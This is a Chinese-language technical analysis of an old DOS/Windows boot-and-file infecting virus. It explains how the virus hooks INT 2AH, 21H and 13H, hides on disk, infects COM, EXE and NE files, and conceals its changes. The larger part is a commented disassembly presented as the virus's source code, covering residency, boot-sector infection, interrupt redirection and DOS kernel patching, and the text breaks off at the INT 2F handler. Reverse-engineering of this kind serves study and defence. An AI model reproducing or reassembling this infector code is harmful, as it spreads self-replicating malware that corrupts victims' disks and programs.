     FDC8:419A D1E3        SHL  BX,1            ；放于 BX 中再乘 2
     ．．．
     FDC8:41EA 2E8B9F9E3E  MOV  BX,CS:[BX+3E9E] ；3E9E 为各功能地址表的基地址
     FDC8:41EF 36871EEA05  XCHG BX,SS:[05EA]    ；调用地址在 05EA 中
     FDC8:41F4 368E1EEC05  MOV  DS,SS:[05EC]
     FDC8:41F9 36FF16EA05  CALL SS:[05EA]       ；调用相应功能的子程序
     ．．．
病毒在驻留时先截取 INT 2AH，在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时，表示中断由 INT 21H 发出，这时由中断返回地址得到 MSDOS.SYS 程序段的段地址，
再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码，在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百
多句以后，当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中， 所以该病毒的截取手段有很大的欺骗性，不但能骗过几乎所有内存监视程序，而且即使用手工反汇编 INT
 21H中断程序都不一定能觉察到异常之处。
    在截取 INT 13H 时，病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址，然后在  BIOS  中随机寻找一个中断号大于
 E0H 号的INT XX代码，将这个中断向量指向病毒的 INT 13H服务程序，然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令，使得在不同的计算机中指向病毒
程序的中断向量号都不相同。

2. 传染及其他部分

    病毒截取 INT 13H 来传染磁盘的引导区，在进行普通的读写功能时，病毒并不传染，所以磁盘读写速度并不明显减慢，只有在对磁盘的引导区进行读写时，病毒才进行传染。
传染硬盘主引导区时，病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中，原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道，病毒在传染软
盘引导记录时，先格式化出一个第 81 磁道，再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中，原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时， 病
毒将原引导记录读出送回。
   病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能，在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中，病毒返回正确的文件长度和时间，在 57H  读写文
件时间功能中，病毒返回正确的文件时间，在 3FH 读文件功能中， 如果读到文件被修改的部分，病毒将返回正确的内容，在 40H 写文件功能中，如果写已被传染的文件， 病毒
将文件复原，到以后关闭文件时重新传染。结果在应用软件看来，带毒文件没有任何异常之处。
    当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时，病毒对文件进行传染，传染后病毒附于文件尾部，文件开始指针被
指向病毒入口处。对于.COM 文件，病毒将文件第一句指令改为 JMP XXXX  跳转到病毒入口处，对于普通.EXE 文件，病毒将文件入口指针指向病毒入口处， 将堆栈指向病毒尾部
200H处。
    下面详细分析病毒对 WINDOWS 可执行文件的修改，由于 WINDOWS 可执行文件的资料很少见，这里先简单介绍一下 WINDOWS 文件的结构：WINDOWS 文件由 DOS  执行部分和
 WINDOWS 执行部分组成，DOS 部分只是简单的打印一句提示信息即退出，WINDOWS  部分以覆盖的方式位于文件后部。文件报头分两部分，第一部分为普通的.EXE 文件报头， 第
二部分为 "NE" 新格式可执行报头，有关部分说明如下：
    普通 .EXE 文件报头  18H  字      重分配表偏移( WINDOWS 文件必须大于 0040H)
                        3CH  双字    "NE" 可执行报头在程序中的偏移
    "NE" 可执行报头     00H  2 字节  "NE" 符号
     (长 40H 字节)      14H  字      程序入口 IP
                        16H  字      程序入口段的段地址记录号
                        18H  双字    程序初始 SS:SP
                        1CH  字      段地址表中的记录数
                        22H  字      段地址表在程序中的偏移
                        32H  字节    段大小的计数单位 (移位值)
    程序中所有的段都由段地址表中的一个记录来描述，包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小，执行程序时，系统由入口段的记录号查段地
址表得出这个段在程序中的位置和大小，将代码装入内存，再由入口 IP开始执行。 段地址表中每个记录占用 8 个字节，格式如下：
                        00H  字      本段在程序中的偏移 (乘以计数单位)
                        02H  字      本段的长度 (单位：字节）
                        04H  字      本段的属性
                        06H  字      要分配的容量 (单位：字节)
    病毒增加了一个段地址表记录来描述病毒代码段属性，在 WINDOWS 文件中， 段地址表一般紧接着 "NE" 报头存放，段地址表后面也紧接着其他数据，中间没有多余字节，所
以病毒将整个 "NE" 报头和段地址表前移了 8 字节，然后在空出的 8 字节中写下一个新的段地址表记录， 再将程序入口段记录号改到指向这个新的记录， 具体改动的数据有：
003CH处的 "NE" 报头偏移减 8，"NE" 报头中 16H 的入口段记录号改为病毒段，1CH 的段地址表记录数加 1，另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。

2. 病毒源码：

;====================================================================
;	DOS 可执行文件入口
;====================================================================
F6C8:0000 0E            PUSH    CS
F6C8:0001 1F            POP     DS
F6C8:0002 E80000        CALL    0005		;重定位
F6C8:0005 5E            POP     SI
F6C8:0006 83EE05        SUB     SI,+05
F6C8:0009 56            PUSH    SI
F6C8:000A 06            PUSH    ES
F6C8:000B B87F18        MOV     AX,187F		;检测内存驻留
F6C8:000E BB5344        MOV     BX,4453
F6C8:0011 CD21          INT     21      (DOS)
F6C8:0013 81FBA187      CMP     BX,87A1
F6C8:0017 753A          JNZ     0053
F6C8:0019 07            POP     ES		;已驻留
F6C8:001A 5E            POP     SI		;执行原程序
F6C8:001B 0E            PUSH    CS
F6C8:001C 1F            POP     DS
F6C8:001D 8B84870E      MOV     AX,[SI+0E87]
F6C8:0021 E8880B        CALL    0BAC
F6C8:0024 740D          JZ      0033		;.EXE 文件转 0033
F6C8:0026 48            DEC     AX
F6C8:0027 BF0001        MOV     DI,0100		;恢复 .COM 文件头 3 字节
F6C8:002A 57            PUSH    DI
F6C8:002B FC            CLD
F6C8:002C AB            STOSW
F6C8:002D 8A84890E      MOV     AL,[SI+0E89]
F6C8:0031 AA            STOSB
F6C8:0032 C3            RET     		;执行原 .COM 文件
F6C8:0033 8CC0          MOV     AX,ES		;重定位 .EXE 文件
F6C8:0035 051000        ADD     AX,0010
F6C8:0038 0384950E      ADD     AX,[SI+0E95]
F6C8:003C 8ED0          MOV     SS,AX
F6C8:003E 8BA4970E      MOV     SP,[SI+0E97]
F6C8:0042 8CC0          MOV     AX,ES
F6C8:0044 051000        ADD     AX,0010
F6C8:0047 03849D0E      ADD     AX,[SI+0E9D]
F6C8:004B 50            PUSH    AX
F6C8:004C FFB49B0E      PUSH    WORD PTR [SI+0E9B]
F6C8:0050 06            PUSH    ES
F6C8:0051 1F            POP     DS
F6C8:0052 CB            RETF    		;执行原 .EXE 文件
;=======================================================================
;驻留内存初始化部分 (调用: 0017)
F6C8:0053 8CC0          MOV     AX,ES
F6C8:0055 48            DEC     AX		;取 MCB
F6C8:0056 E81E00        CALL    0077		;取最后一块MCB地址
F6C8:0059 E83200        CALL    008E		;驻留内存
F6C8:005C 72BB          JB      0019
F6C8:005E 8ED9          MOV     DS,CX		;截取 INT 2AH
F6C8:0060 B85103        MOV     AX,0351		;中断到 CS:0351
F6C8:0063 8706A800      XCHG    AX,[00A8]	;由 INT 2AH 继续引导
F6C8:0067 26            ES:
F6C8:0068 A33A04        MOV     [043A],AX	;(转 0351)
F6C8:006B 8CC0          MOV     AX,ES
F6C8:006D 8706AA00      XCHG    AX,[00AA]
F6C8:0071 26            ES:
F6C8:0072 A33C04        MOV     [043C],AX
F6C8:0075 EBA2          JMP     0019		;执行原程序
;========================================================================
;找最后一块 MCB 地址
;返回 BX = 最后一块MCB段地址
;调用: 0056
F6C8:0077 33FF          XOR     DI,DI
F6C8:0079 8ED8          MOV     DS,AX
F6C8:007B 803D4D        CMP     BYTE PTR [DI],4D
F6C8:007E 7405          JZ      0085		;非最后一块转 0085
F6C8:0080 803D5A        CMP     BYTE PTR [DI],5A;最后一块返回
F6C8:0083 7508          JNZ     008D
F6C8:0085 8BD8          MOV     BX,AX
F6C8:0087 034503        ADD     AX,[DI+03]
F6C8:008A 40            INC     AX
F6C8:008B EBEA          JMP     0077		;AX 为下一块 MCB 地址
F6C8:008D C3            RET
;=========================================================================
;驻留内存子程序
;调用: 0059
F6C8:008E 8EDB          MOV     DS,BX
F6C8:0090 8B4503        MOV     AX,[DI+03]
F6C8:0093 2D3801        SUB     AX,0138		;截取内存 1380H 字节
F6C8:0096 720E          JB      00A6
F6C8:0098 894503        MOV     [DI+03],AX
F6C8:009B 03D8          ADD     BX,AX
F6C8:009D 43            INC     BX
F6C8:009E 8EC3          MOV     ES,BX
F6C8:00A0 B9C70E        MOV     CX,0EC7		;移动病毒 0EC7 字节
F6C8:00A3 F3            REPZ			;到内存中
F6C8:00A4 2E            CS:
F6C8:00A5 A4            MOVSB
F6C8:00A6 C3            RET
;=====================================================================
;	引导区代码部分
;=====================================================================
F6C8:00A7 FA            CLI
F6C8:00A8 33DB          XOR     BX,BX
F6C8:00AA 8ED3          MOV     SS,BX
F6C8:00AC BC007C        MOV     SP,7C00
F6C8:00AF 8EC4          MOV     ES,SP		;暂时将病毒读到 7C00:0000
F6C8:00B1 B80802        MOV     AX,0208
F6C8:00B4 B90150        MOV     CX,5001		;硬盘为 0005
F6C8:00B7 BA0000        MOV     DX,0000		;软盘为 5001
F6C8:00BA CD13          INT     13      (BIOS Disk)
F6C8:00BC 7200          JB      00BE
F6C8:00BE 06            PUSH    ES
F6C8:00BF 68C300        PUSH    00C3		;转高端继续执行
F6C8:00C2 CB            RETF
F6C8:00C3 E82701        CALL    01ED		;随机生成 INT 13H 地址
F6C8:00C6 830EA800FF    OR      WORD PTR [00A8],FFFF	;????
F6C8:00CB 871E4C00      XCHG    BX,[004C]
F6C8:00CF 2E            CS:
F6C8:00D0 891EF800      MOV     [00F8],BX
F6C8:00D4 8CC0          MOV     AX,ES
F6C8:00D6 87064E00      XCHG    AX,[004E]	;截取 INT 13H
F6C8:00DA 0E            PUSH    CS		;到 CS:00FC
F6C8:00DB 1F            POP     DS
F6C8:00DC A3FA00        MOV     [00FA],AX	;保留原 INT 13H 到 00FA
F6C8:00DF C606FF003C    MOV     BYTE PTR [00FF],3C
F6C8:00E4 C60604013C    MOV     BYTE PTR [0104],3C
F6C8:00E9 C6065805E8    MOV     BYTE PTR [0558],E8
F6C8:00EE CD19          INT     19      (BIOS Bootstrap)
;========================================================================
;病毒调用 INT 13H
F6C8:00F0 9C            PUSHF
F6C8:00F1 FA            CLI
F6C8:00F2 0E            PUSH    CS
F6C8:00F3 E80100        CALL    00F7
F6C8:00F6 C3            RET
F6C8:00F7 EA59EC00F0    JMP     F000:EC59
;=========================================================================
;	新 INT 13H 代码部分
;=========================================================================
F6C8:00FC 83C406        ADD     SP,+06
F6C8:00FF EB3D          JMP     013E	===>	;本句代码当病毒从 BOOT 区
F6C8:0101 60            PUSHA   		;引入时为 CMP AL,3D
F6C8:0102 1E            PUSH    DS
F6C8:0103 06            PUSH    ES
F6C8:0104 EB23          JMP     0129	===>	;本句代码当病毒从 BOOT 区
F6C8:0106 6A00          PUSH    0000		;引入时为 CMP AL,23
F6C8:0108 1F            POP     DS
F6C8:0109 C41EA800      LES     BX,[00A8]
F6C8:010D 26            ES:
F6C8:010E 803FCF        CMP     BYTE PTR [BX],CF
F6C8:0111 7514          JNZ     0127		;INT 2AH 不是 IRET
F6C8:0113 2E            CS:			;转 0127 (013B) 执行
F6C8:0114 891E3A04      MOV     [043A],BX
F6C8:0118 2E            CS:
F6C8:0119 8C063C04      MOV     [043C],ES	;设置 BOOT 引入 INT 2A
F6C8:011D C706A8008603  MOV     WORD PTR [00A8],0386	;到 CS:0386
F6C8:0123 8C0EAA00      MOV     [00AA],CS
F6C8:0127 EB12          JMP     013B
;===========================================================================
F6C8:0129 B80312        MOV     AX,1203
F6C8:012C CD2F          INT     2F      (Multiplex)
F6C8:012E 8CD8          MOV     AX,DS
F6C8:0130 3D1001        CMP     AX,0110	  ===>	;本数据由 039B 填入
F6C8:0133 7406          JZ      013B		;为初始化时 MSDOS.SYS 数据段
F6C8:0135 2E            CS:
F6C8:0136 C60604013C    MOV     BYTE PTR [0104],3C
F6C8:013B 07            POP     ES
F6C8:013C 1F            POP     DS
F6C8:013D 61            POPA
;============================================================================
;	新 INT 13H 代码部分
F6C8:013E 80FC02        CMP     AH,02
F6C8:0141 72B4          JB      00F7
F6C8:0143 80FC03        CMP     AH,03
F6C8:0146 77AF          JA      00F7
F6C8:0148 83F901        CMP     CX,+01
F6C8:014B 75AA          JNZ     00F7
F6C8:014D 0AF6          OR      DH,DH
F6C8:014F 75A6          JNZ     00F7
F6C8:0151 80FA80        CMP     DL,80		;不是读引导区
F6C8:0154 77A1          JA      00F7		;转原 INT 13H
F6C8:0156 E897FF        CALL    00F0		;读出引导区
F6C8:0159 7235          JB      0190
F6C8:015B 60            PUSHA
F6C8:015C 1E            PUSH    DS
F6C8:015D 06            PUSH    ES
F6C8:015E 9C            PUSHF
F6C8:015F 06            PUSH    ES
F6C8:0160 8BF3          MOV     SI,BX
F6C8:0162 06            PUSH    ES
F6C8:0163 1F            POP     DS
F6C8:0164 BF7711        MOV     DI,1177
F6C8:0167 0E            PUSH    CS
F6C8:0168 07            POP     ES
F6C8:0169 B90001        MOV     CX,0100		;保存原引导区到
F6C8:016C F3            REPZ			;CS:1177
F6C8:016D A5            MOVSW
F6C8:016E 0E            PUSH    CS
F6C8:016F 1F            POP     DS
F6C8:0170 BF7711        MOV     DI,1177
F6C8:0173 817D468EC4    CMP     WORD PTR [DI+46],C48E
F6C8:0178 07            POP     ES
F6C8:0179 7518          JNZ     0193		;未感染转 0193
F6C8:017B B80102        MOV     AX,0201		;已感染则读出
F6C8:017E 8B4D4C        MOV     CX,[DI+4C]	;原引导区
F6C8:0181 8A7550        MOV     DH,[DI+50]
F6C8:0184 80C108        ADD     CL,08
F6C8:0187 9D            POPF
F6C8:0188 E865FF        CALL    00F0
F6C8:018B 9C            PUSHF
F6C8:018C 9D            POPF
F6C8:018D 07            POP     ES
F6C8:018E 1F            POP     DS
F6C8:018F 61            POPA
F6C8:0190 CA0200        RETF    0002
;=========================================================================
;病毒传染引导区代码部分
F6C8:0193 0E            PUSH    CS
F6C8:0194 07            POP     ES
F6C8:0195 B90500        MOV     CX,0005
F6C8:0198 0AD2          OR      DL,DL
F6C8:019A 7812          JS      01AE		;硬盘转 01AE
F6C8:019C B80A05        MOV     AX,050A		;传染软盘引导区部分
F6C8:019F B550          MOV     CH,50		;格式化第 50H 磁道
F6C8:01A1 32F6          XOR     DH,DH
F6C8:01A3 BB4D0E        MOV     BX,0E4D
F6C8:01A6 E847FF        CALL    00F0
F6C8:01A9 7240          JB      01EB
F6C8:01AB B90150        MOV     CX,5001
F6C8:01AE 890EB500      MOV     [00B5],CX
F6C8:01B2 52            PUSH    DX
F6C8:01B3 80E280        AND     DL,80
F6C8:01B6 8916B800      MOV     [00B8],DX
F6C8:01BA 5A            POP     DX
F6C8:01BB B80803        MOV     AX,0308		;写病毒到磁盘
F6C8:01BE 33DB          XOR     BX,BX
F6C8:01C0 E82DFF        CALL    00F0
F6C8:01C3 7226          JB      01EB
F6C8:01C5 B80103        MOV     AX,0301		;保存原引导区
F6C8:01C8 BB7711        MOV     BX,1177
F6C8:01CB 80C108        ADD     CL,08
F6C8:01CE E81FFF        CALL    00F0
F6C8:01D1 7218          JB      01EB
F6C8:01D3 C707EB3C      MOV     WORD PTR [BX],3CEB
F6C8:01D7 BEA700        MOV     SI,00A7
F6C8:01DA 8D7F3E        LEA     DI,[BX+3E]
F6C8:01DD B91C00        MOV     CX,001C
F6C8:01E0 F3            REPZ
F6C8:01E1 A4            MOVSB
F6C8:01E2 B80103        MOV     AX,0301
F6C8:01E5 B90100        MOV     CX,0001
F6C8:01E8 E805FF        CALL    00F0		;写病毒到引导区
F6C8:01EB EB9F          JMP     018C		;返回调用处
;========================================================================
;随机生成一个 INT 13H 地址
;调用: 00C3 0369
;有二种方式 1.	在 BIOS 中找一个 > 80号的 INT XX 代码
;		将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
;	    2.	在 0000:04FB 中写下 JMP 原 INT 13
;		再将 INT 13 指向 0000:04FB
F6C8:01ED 33F6          XOR     SI,SI
F6C8:01EF B800F0        MOV     AX,F000
F6C8:01F2 8ED8          MOV     DS,AX
F6C8:01F4 8EC0          MOV     ES,AX
F6C8:01F6 4E            DEC     SI
F6C8:01F7 741F          JZ      0218
F6C8:01F9 803CCD        CMP     BYTE PTR [SI],CD
F6C8:01FC 75F8          JNZ     01F6		;找一个 INT 代码
F6C8:01FE 3A4401        CMP     AL,[SI+01]
F6C8:0201 73F3          JNB     01F6
F6C8:0203 807C01E0      CMP     BYTE PTR [SI+01],E0
F6C8:0207 73ED          JNB     01F6		;小于 INT E0 继续找
F6C8:0209 864401        XCHG    AL,[SI+01]
F6C8:020C 864401        XCHG    AL,[SI+01]
F6C8:020F 3A4401        CMP     AL,[SI+01]	;保存 INT 号于 AL 中
F6C8:0212 75E2          JNZ     01F6		;不在 BIOS 中继续找
F6C8:0214 8BDE          MOV     BX,SI		;保存地址于 BX 中
F6C8:0216 EBDE          JMP     01F6
F6C8:0218 8EDE          MOV     DS,SI
F6C8:021A 3C80          CMP     AL,80		;在 BIOS 中未找到
F6C8:021C 720C          JB      022A		;INT ?? 代码转 022A
F6C8:021E 2E            CS:
F6C8:021F C606FE0006    MOV     BYTE PTR [00FE],06	;ADD SP,6
F6C8:0224 B404          MOV     AH,04		;丢弃 INT XX 之返回地址
F6C8:0226 F6E4          MUL     AH		;AX 为中断向量表中地址
F6C8:0228 EB14          JMP     023E
F6C8:022A 2E            CS:
F6C8:022B C606FE0000    MOV     BYTE PTR [00FE],00
F6C8:0230 6A00          PUSH    0000
F6C8:0232 1F            POP     DS		;在 0000:04FB 中写下
F6C8:0233 1E            PUSH    DS		;代码 JMP CS:00FC
F6C8:0234 07            POP     ES
F6C8:0235 BBFB04        MOV     BX,04FB
F6C8:0238 C607EA        MOV     BYTE PTR [BX],EA
F6C8:023B B8FC04        MOV     AX,04FC
F6C8:023E 2E            CS:
F6C8:023F A34502        MOV     [0245],AX
F6C8:0242 EB00          JMP     0244
F6C8:0244 BE0003        MOV     SI,0300		;值由上决定
F6C8:0247 C704FC00      MOV     WORD PTR [SI],00FC
F6C8:024B 8C4C02        MOV     [SI+02],CS	;设新 INT 13H 向量
F6C8:024E C3            RET     		;到 CS:00FC
;==========================================================================
F6C8:024F 50            PUSH    AX		;不详
F6C8:0250 51            PUSH    CX
F6C8:0251 52            PUSH    DX
F6C8:0252 B91000        MOV     CX,0010
F6C8:0255 F7E1          MUL     CX
F6C8:0257 8BCA          MOV     CX,DX
F6C8:0259 92            XCHG    AX,DX
F6C8:025A B80700        MOV     AX,0007
F6C8:025D CD31          INT     31      (DPMI API)
F6C8:025F 5A            POP     DX
F6C8:0260 59            POP     CX
F6C8:0261 58            POP     AX
F6C8:0262 C3            RET
;==========================================================================
;	WINDOWS 文件开始执行入口
;==========================================================================
F6C8:0263 60            PUSHA
F6C8:0264 1E            PUSH    DS
F6C8:0265 06            PUSH    ES
F6C8:0266 E80000        CALL    0269		;重定位
F6C8:0269 5E            POP     SI
F6C8:026A 81EE6902      SUB     SI,0269
F6C8:026E B87F18        MOV     AX,187F		;内存驻留校验
F6C8:0271 BB5344        MOV     BX,4453
F6C8:0274 CD21          INT     21      (DOS)
F6C8:0276 81FBA187      CMP     BX,87A1
F6C8:027A 7503          JNZ     027F		;已驻留转 0328
F6C8:027C E9A900        JMP     0328
F6C8:027F 33C0          XOR     AX,AX		;
F6C8:0281 B90100        MOV     CX,0001
F6C8:0284 CD31          INT     31      (DPMI API)
F6C8:0286 93            XCHG    AX,BX
F6C8:0287 B80800        MOV     AX,0008
F6C8:028A CD31          INT     31      (DPMI API)
F6C8:028C 40            INC     AX
F6C8:028D B1F2          MOV     CL,F2
F6C8:028F CD31          INT     31      (DPMI API)
F6C8:0291 8EDB          MOV     DS,BX
F6C8:0293 B452          MOV     AH,52
F6C8:0295 CD21          INT     21      (DOS)
F6C8:0297 26            ES:
F6C8:0298 8B47FE        MOV     AX,[BX-02]
F6C8:029B 33FF          XOR     DI,DI
F6C8:029D 33D2          XOR     DX,DX
F6C8:029F 8CDB          MOV     BX,DS
F6C8:02A1 E8ABFF        CALL    024F
F6C8:02A4 803D4D        CMP     BYTE PTR [DI],4D
F6C8:02A7 7405          JZ      02AE
F6C8:02A9 803D5A        CMP     BYTE PTR [DI],5A
F6C8:02AC 7521          JNZ     02CF
F6C8:02AE 8BE8          MOV     BP,AX
F6C8:02B0 8B4508        MOV     AX,[DI+08]
F6C8:02B3 0D2020        OR      AX,2020
F6C8:02B6 3D7769        CMP     AX,6977
F6C8:02B9 750C          JNZ     02C7
F6C8:02BB 8B450A        MOV     AX,[DI+0A]
F6C8:02BE 0C20          OR      AL,20
F6C8:02C0 3D6E00        CMP     AX,006E
F6C8:02C3 7502          JNZ     02C7
F6C8:02C5 8BD5          MOV     DX,BP
F6C8:02C7 8BC5          MOV     AX,BP
F6C8:02C9 034503        ADD     AX,[DI+03]
F6C8:02CC 40            INC     AX
F6C8:02CD EBD0          JMP     029F
F6C8:02CF 95            XCHG    AX,BP
F6C8:02D0 E87CFF        CALL    024F
F6C8:02D3 816D033801    SUB     WORD PTR [DI+03],0138
F6C8:02D8 034503        ADD     AX,[DI+03]
F6C8:02DB 40            INC     AX
F6C8:02DC E870FF        CALL    024F
F6C8:02DF 8EC3          MOV     ES,BX
F6C8:02E1 95            XCHG    AX,BP
F6C8:02E2 B80A00        MOV     AX,000A
F6C8:02E5 8CCB          MOV     BX,CS
F6C8:02E7 CD31          INT     31      (DPMI API)
F6C8:02E9 8ED8          MOV     DS,AX
F6C8:02EB B97D0E        MOV     CX,0E7D
F6C8:02EE F3            REPZ
F6C8:02EF A4            MOVSB
F6C8:02F0 8CDB          MOV     BX,DS
F6C8:02F2 91            XCHG    AX,CX
F6C8:02F3 E859FF        CALL    024F
F6C8:02F6 B85103        MOV     AX,0351
F6C8:02F9 8706A800      XCHG    AX,[00A8]
F6C8:02FD 26            ES:
F6C8:02FE A33A04        MOV     [043A],AX
F6C8:0301 55            PUSH    BP
F6C8:0302 872EAA00      XCHG    BP,[00AA]
F6C8:0306 26            ES:
F6C8:0307 892E3C04      MOV     [043C],BP
F6C8:030B 5D            POP     BP
F6C8:030C 92            XCHG    AX,DX
F6C8:030D 0BC0          OR      AX,AX
F6C8:030F 7417          JZ      0328
F6C8:0311 E83BFF        CALL    024F
F6C8:0314 B83003        MOV     AX,0330
F6C8:0317 87061A00      XCHG    AX,[001A]
F6C8:031B 26            ES:
F6C8:031C A34D03        MOV     [034D],AX
F6C8:031F 872E1C00      XCHG    BP,[001C]
F6C8:0323 26            ES:
F6C8:0324 892E4F03      MOV     [034F],BP
F6C8:0328 07            POP     ES
F6C8:0329 1F            POP     DS
F6C8:032A 61            POPA
F6C8:032B EA0000FFFF    JMP     FFFF:0000
F6C8:0330 50            PUSH    AX
F6C8:0331 1E            PUSH    DS
F6C8:0332 6A00          PUSH    0000
F6C8:0334 1F            POP     DS
F6C8:0335 B88603        MOV     AX,0386
F6C8:0338 8706A800      XCHG    AX,[00A8]
F6C8:033C 2E            CS:
F6C8:033D A33A04        MOV     [043A],AX
F6C8:0340 8CC8          MOV     AX,CS
F6C8:0342 8706AA00      XCHG    AX,[00AA]
F6C8:0346 2E            CS:
F6C8:0347 A33C04        MOV     [043C],AX
F6C8:034A 1F            POP     DS
F6C8:034B 58            POP     AX
F6C8:034C EAB1022805    JMP     0528:02B1
;==========================================================================
;	文件驻留引入 INT 2A 代码部分
;	初始化时使用
;==========================================================================
F6C8:0351 60            PUSHA
F6C8:0352 1E            PUSH    DS
F6C8:0353 06            PUSH    ES
F6C8:0354 2E            CS:
F6C8:0355 C606FF00EB    MOV     BYTE PTR [00FF],EB	;INT 13H
F6C8:035A 2E            CS:				;不检测
F6C8:035B C60658053D    MOV     BYTE PTR [0558],3D	;INT 21H 不检测
F6C8:0360 B80016        MOV     AX,1600		;WINDOWS 增强模式检验
F6C8:0363 CD2F          INT     2F
F6C8:0365 0AC0          OR      AL,AL
F6C8:0367 7505          JNZ     036E		;WINDOWS 运行转 036E
F6C8:0369 E881FE        CALL    01ED		;随机生成 INT 13H 地址
F6C8:036C EB03          JMP     0371
F6C8:036E E8B9FE        CALL    022A		;随机生成 INT 13H 地址
F6C8:0371 B80013        MOV     AX,1300		;取得原 INT 13H 地址
F6C8:0374 8BD3          MOV     DX,BX		;并设置新 INT 13H 地址
F6C8:0376 06            PUSH    ES
F6C8:0377 1F            POP     DS		;INT 2F 之 1300 功能
F6C8:0378 CD2F          INT     2F		;入口  ES:BX 及 DS:DX
F6C8:037A 2E            CS:			;为新 INT 13H 地址
F6C8:037B 8916F800      MOV     [00F8],DX	;出口  ES:BX 及 DS:DX
F6C8:037F 2E            CS:			;为旧 INT 13H 地址
F6C8:0380 8C1EFA00      MOV     [00FA],DS
F6C8:0384 EB03          JMP     0389		;转截取 INT 21H (0389)
;==========================================================================
;BOOT 引导驻留引入 INT 2A 入口
F6C8:0386 60            PUSHA
F6C8:0387 1E            PUSH    DS
F6C8:0388 06            PUSH    ES
;==========================================================================
;截取 INT 21H 代码部分
F6C8:0389 B80312        MOV     AX,1203		;取 MSDOS.SYS 数据段地址
F6C8:038C CD2F          INT     2F		;返回段地址 = DS
F6C8:038E 8CD8          MOV     AX,DS
F6C8:0390 8CD6          MOV     SI,SS
F6C8:0392 2BF0          SUB     SI,AX
F6C8:0394 7403          JZ      0399		;在 MSDOS.SYS 中执行
F6C8:0396 E99D00        JMP     0436		;转 0399, 否则退出
F6C8:0399 0E            PUSH    CS
F6C8:039A 1F            POP     DS
F6C8:039B A33101        MOV     [0131],AX
F6C8:039E C606C00DEB    MOV     BYTE PTR [0DC0],EB
F6C8:03A3 C6060401EB    MOV     BYTE PTR [0104],EB
F6C8:03A8 C4063A04      LES     AX,[043A]
F6C8:03AC 8EDE          MOV     DS,SI
F6C8:03AE A3A800        MOV     [00A8],AX
F6C8:03B1 8C06AA00      MOV     [00AA],ES	;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC          MOV     BP,SP
F6C8:03B7 8E5E16        MOV     DS,[BP+16]	;调用代码段
F6C8:03BA 83FE80        CMP     SI,-80		;为 INT 21 的代码段
F6C8:03BD 7777          JA      0436
F6C8:03BF AC            LODSB
F6C8:03C0 3C2E          CMP     AL,2E		;找 2E 8B 9F xx xx
F6C8:03C2 75F6          JNZ     03BA		;即 MOV BX,CS:[BX+xxxx]
F6C8:03C4 AD            LODSW
F6C8:03C5 3D8B9F        CMP     AX,9F8B
F6C8:03C8 75F0          JNZ     03BA
F6C8:03CA AD            LODSW   		;此地址为 INT 21 功能=>子程序
F6C8:03CB 2E            CS:			;转换表基址
F6C8:03CC A35111        MOV     [1151],AX	;保存地址于 1151
F6C8:03CF B93000        MOV     CX,0030
F6C8:03D2 4E            DEC     SI
F6C8:03D3 AD            LODSW
F6C8:03D4 3D871E        CMP     AX,1E87		;找 87 1E (XCHG BX,SS:[xxxx])
F6C8:03D7 E0F9          LOOPNE  03D2
F6C8:03D9 E3DF          JCXZ    03BA
F6C8:03DB AD            LODSW
F6C8:03DC 2E            CS:
F6C8:03DD A35311        MOV     [1153],AX	;调用 INT 21 子功能地址
F6C8:03E0 46            INC     SI		;找 36 FF 16 xx xx
F6C8:03E1 813C36FF      CMP     WORD PTR [SI],FF36
F6C8:03E5 E0F9          LOOPNE  03E0		;即 CALL SS:[xxxx]
F6C8:03E7 E3D1          JCXZ    03BA
F6C8:03E9 807C0216      CMP     BYTE PTR [SI+02],16
F6C8:03ED 75F1          JNZ     03E0
F6C8:03EF 394403        CMP     [SI+03],AX	;将 CALL SS:[xxxx]
F6C8:03F2 75EC          JNZ     03E0		;改为 CALL CS:053D
F6C8:03F4 C6049A        MOV     BYTE PTR [SI],9A	;截取新 INT 21
F6C8:03F7 C744013D05    MOV     WORD PTR [SI+01],053D	;到 CS:053D
F6C8:03FC 8C4C03        MOV     [SI+03],CS
F6C8:03FF 2E            CS:
F6C8:0400 89365B11      MOV     [115B],SI
F6C8:0404 83FE80        CMP     SI,-80
F6C8:0407 772D          JA      0436
F6C8:0409 4E            DEC     SI
F6C8:040A AD            LODSW
F6C8:040B 3DFB80        CMP     AX,80FB		;找 FB 80 FC 11 75 0A C0 74
F6C8:040E 75F4          JNZ     0404		;即 CMP AH,11/JNZ XXXX
F6C8:0410 813CFC11      CMP     WORD PTR [SI],11FC	;OR AL,AL/JZ  XXXX
F6C8:0414 75EE          JNZ     0404			;此代码为 INT 2F
F6C8:0416 817C02750A    CMP     WORD PTR [SI+02],0A75	;中断的开始代码
F6C8:041B 75E7          JNZ     0404
F6C8:041D 817C05C074    CMP     WORD PTR [SI+05],74C0
F6C8:0422 75E0          JNZ     0404
F6C8:0424 4E            DEC     SI
F6C8:0425 C6049A        MOV     BYTE PTR [SI],9A	;截取新 INT 2F
F6C8:0428 C744013E04    MOV     WORD PTR [SI+01],043E	;到 CS:043E
F6C8:042D 8C4C03        MOV     [SI+03],CS		;改为 CALL CS:043E
F6C8:0430 4E            DEC     SI
F6C8:0431 2E            CS:
F6C8:0432 89365D11      MOV     [115D],SI
F6C8:0436 07            POP     ES
F6C8:0437 1F            POP     DS
F6C8:0438 61            POPA
F6C8:0439 EADA101001    JMP     0110:10DA		;转原 INT 2A
;=========================================================================
;	新 INT 2F 中断代码部分
;=========================================================================
F6C8:043E 2E            CS:
